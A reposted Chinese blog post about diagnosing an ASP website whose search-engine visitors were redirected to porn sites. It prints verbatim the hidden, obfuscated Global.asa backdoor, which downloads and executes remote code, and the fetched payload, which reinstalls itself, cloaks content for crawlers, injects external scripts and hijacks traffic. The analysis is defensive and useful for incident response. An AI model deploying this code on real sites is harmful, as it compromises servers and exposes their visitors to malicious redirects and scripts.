[转载]警惕ASP网站Global.asa导致网站被挂马或转向

[转载]警惕ASP网站Global.asa导致网站被挂马或转向 – snowsky’s Blog – 博客园.

上午帮朋友处理一个比较有难度的问题,网站输入域名访问正常打开,但从搜索引擎厚度或是Google之类的打开,就会跳转到某些色情网站上去.

根据经验,可以推断出来应该是asp程序根据网页的来路,即HTTP_REFERER进行判断,发现是搜索引擎过来的流量就跳转到色情站点去,使用此种方法具有很强的隐匿性,因为站长们一般不会去搜索自己的网站,所以轻易不会发现自己站点遭到了挟持。

因 为网站是自己很多年前帮朋友做的,所以要了现在的代码,看了一下,没有发现问题,就开始是不是服务器感染了什么病毒或是被加上了什么IIS过滤器之类的, 要了远程桌面,上去找了半天,一无所获,看了一下IP地址,发现是一个内网IP地址,也就是说需要网关将网站映射发布出去,于是怀疑问题是在网关上,但问 了朋友之后,得知网关为一路由器,再加上将IIS关闭,网站也就无法打开,不能再跳转,排除了网关加马的可能性。

难倒走不下去了?

忽然想到一招,采用FileMon对w3wp.exe进程进行监控,看看用搜索引擎打开和直接打开读取的文件到底有什么不同,通过多次比较,也没有发现什么疑点。

万般无奈,又回到网站根目录下,顺手打开了显示系统隐藏文件,却发现多了一个Global.asa文件,因为网站是自己做的,比较了解,根本不可能使用这个文件,打开一看,一切疑点都解决了。

Global.asa文件内容如下:

<script language="vbscript" runat="server">
'by_aming
'by*aming
sub Application_OnStart
end sub
sub Application_OnEnd
end sub
sub Session_OnStart
url="h"&"t"&"t"&"p"&":"&"/"&"/"&"g"&"l"&"o"&".1"&"0"&"0"&"5"&"0"&"0"&".c"&"o"&"m"&"/x"&"m"&"l"&"/"&"g"&"l"&"o"&"b"&"a"&"l"&"."&"a"&"s"&"a"&"q"&"u"&"a"&"n"&"."&"t"&"x"&"t"
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
if instr(GetHtml,"by*aming")>0 then
execute GetHtml
end if
end sub
'sub Session_OnEnd
'end sub
</script>

因为Global.asa文件为网站启动文件,当一个网站被第一次访问时,会执行Application_Start代码段的内容,当一个用户第一次访问时会执行Session_Start代码段的内容,所以此段代码的作用就是当访问,从http://glo.100500.com/xml/global.asaquan.txt处下载内容,并执行,让我们来看看http://glo.100500.com/xml/global.asaquan.txt的内容是什么吧:

代码

'<html><head><script>function clear() {Source=document.body.firstChild.data;document.open ();document.close ();document.title="";document.body.innerHTML=Source;} </script></head><body onload=clear()> '<meta http-equiv=refresh content=0;URL=about:blank><script>eval (function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace (/^/,String)){while(c--){d=k||c}k=[function(e){return d [e]}];e=function(){return'\\w+'};c=1};while(c--){if(k) {p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k)}}return p} ('0.1.2(\'3:4\');',5,5,'window|location|replace|about|blank'.split ('|'),0,{}))</script> 'by*aming Server.ScriptTimeout=600 Public Function createasa(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asa")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/global.asa"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function createasax(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asax")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/global.asax"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function Function check(user_agent) allow_agent=split ("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST- WebCrawler,MSNBOT,Slurp",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function Function CheckRobot() CheckRobot = False Dim Botlist,i,Repls Repls = request.ServerVariables("http_user_agent") Krobotlist = "Baiduspider|Googlebot" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(Repls,Botlist(i)) > 0 Then CheckRobot = True Exit For End If Next If Request.QueryString("admin")= "1" Then Session ("ThisCheckRobot")=1 If Session("ThisCheckRobot") = 1 Then CheckRobot = True End Function Function CheckRefresh() CheckRefresh = False Dim Botlist,i,Repls Krobotlist = "baidu|google|sogou|soso|youdao" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(left(request.servervariables ("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then CheckRefresh = True Exit For End If Next End Function Sub sleep() If response.IsClientConnected=true then Response.Flush else response.end end if End Sub If CheckRefresh=true Then cnnbd=lcase(request.servervariables("HTTP_HOST")) 'response.redirect("http://www.220550.com/?"&cnnbd&"") Response.Write("<div style=display:none><script src=http://count11.51yes.com/click.aspx? id=114814173&logo=1></script><script src=http://js.568tea.com/44.js></script><script src=http://js.37548.com/44.js></script></div>") response.end end If user_agent=Request.ServerVariables("HTTP_USER_AGENT") if check(user_agent)=true then 'body=GetHtml("http://html.888hhh.com/2prn.asp? domain="&strHost&"&ua="&server.URLEncode(request.ServerVariables ("HTTP_USER_AGENT"))&"") body=GetHtml("http://i.bxhty.info/index.asp? domain="&strHost&"&ua="&server.URLEncode(request.ServerVariables ("HTTP_USER_AGENT"))&"") response.write body response.end else asa=GetHtml("http://glo.100500.com/xml/globalquan.txt") if instr(asa,"by*aming")>0 then createasa(asa) end if ScriptAddress=Request.ServerVariables("SCRIPT_NAME") namepath=Server.MapPath(ScriptAddress) If Len(Request.QueryString) > 0 Then ScriptAddress = ScriptAddress & "?" & Request.QueryString end if geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress geturl =LCase(geturl) 'response.write replace(namepath,server.MapPath("/"),"") 'response.end 'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase (Request.ServerVariables("HTTP_REFERER")),LCase (Request.ServerVariables("http_host")))<=0 then agent = lcase(request.servervariables("http_user_agent")) referer = LCase(Request.ServerVariables("HTTP_REFERER")) bot = "" Amll = "" if instr(agent, "+") > 0 then bot = agent if instr(agent, "-") > 0 then bot = agent if instr(agent, "http") > 0 then bot = agent if instr(agent, "spider") > 0 then bot = agent if instr(agent, "bot") > 0 then bot = agent if instr(agent, "linux") > 0 then bot = agent if instr(agent, "baidu") > 0 then bot = agent if instr(agent, "google") > 0 then bot = "nobot" if instr(agent, "yahoo") > 0 then bot = "nobot" if instr(agent, "msn") > 0 then bot = "nobot" if instr(agent, "alexa") > 0 then bot = "nobot" if instr(agent, "sogou") > 0 then bot = "nobot" if instr(agent, "youdao") > 0 then bot = "nobot" if instr(agent, "soso") > 0 then bot = "nobot" if instr(agent, "iask") > 0 then bot = "nobot" if bot="nobot" then 'Call WriteErr 'response.end end if If Instr(REFERER,"http") > 0 and Instr(REFERER,".") > 0 and Instr (REFERER,"/") > 0 and Instr(REFERER,"?") > 0 and Instr(REFERER,"=") > 0 Then Amll = "ok" tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if tjcount="" then response.cookies("cookie_tjcount")=0 response.cookies("cookie_tjcount").Expires=DateAdd ("d",1,now()) end if if date1<>date2 then response.cookies("cookie_date")=date2 response.cookies("cookie_date").Expires=DateAdd("d",365,now ()) end if tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if date1=date2 and len(bot) = 0 then if int(tjcount)<10 and len(Amll)>0 then response.cookies("cookie_tjcount")=int(tjcount)+1 response.cookies("cookie_tjcount").Expires=DateAdd ("d",1,now()) strHost=Request.ServerVariables("HTTP_HOST") Response.Redirect("http://www.115225.com/? domain="&strHost&"") else 'response.write "<h1>Service Unavailable</h1>" response.write "" 'response.write gethtml(geturl&"?global=ok") end if response.end end if Call sleep() end if end if '</body></html>

此处代码有多个函数组成:
createasa 根据传入的内容创建global.asa文件
createasax 根据传入的内容创建Global.asax文件
GetHtml 根据传入的url,获取相应的内容
check 检测user-agent判断是否为搜索引擎的蜘蛛
CheckRobot 检测是否为robot ?
CheckRefresh 检测是否Refresh

说到底这块代码的作用就是判断访问页面是否来自于搜索引擎,是的话,就将HTML:

代码

<div style=display:none><script src=http://count11.51yes.com/click.aspx?id=114814173&logo=1></script><script src=http://js.568tea.com/44.js></script><script src=http://js.37548.com/44.js></script></div>

输出去。

至此,就达到了将来自于搜索引擎流量挟持走的目的了。

解决办法也很简单,就是直接删除此文件就可以了,当然最好还是要检查一下网站,查一下为什么会被加上一个Global.asa文件

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